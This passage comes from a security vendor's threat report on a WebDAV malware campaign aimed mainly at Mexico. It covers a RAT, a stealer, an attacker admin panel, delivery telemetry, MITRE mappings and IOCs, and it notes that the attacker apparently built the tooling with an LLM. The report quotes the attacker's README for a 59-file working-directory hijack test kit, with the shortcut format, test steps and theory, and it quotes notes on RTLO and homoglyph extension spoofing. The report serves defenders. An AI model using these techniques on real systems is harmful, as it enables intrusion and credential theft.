data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway 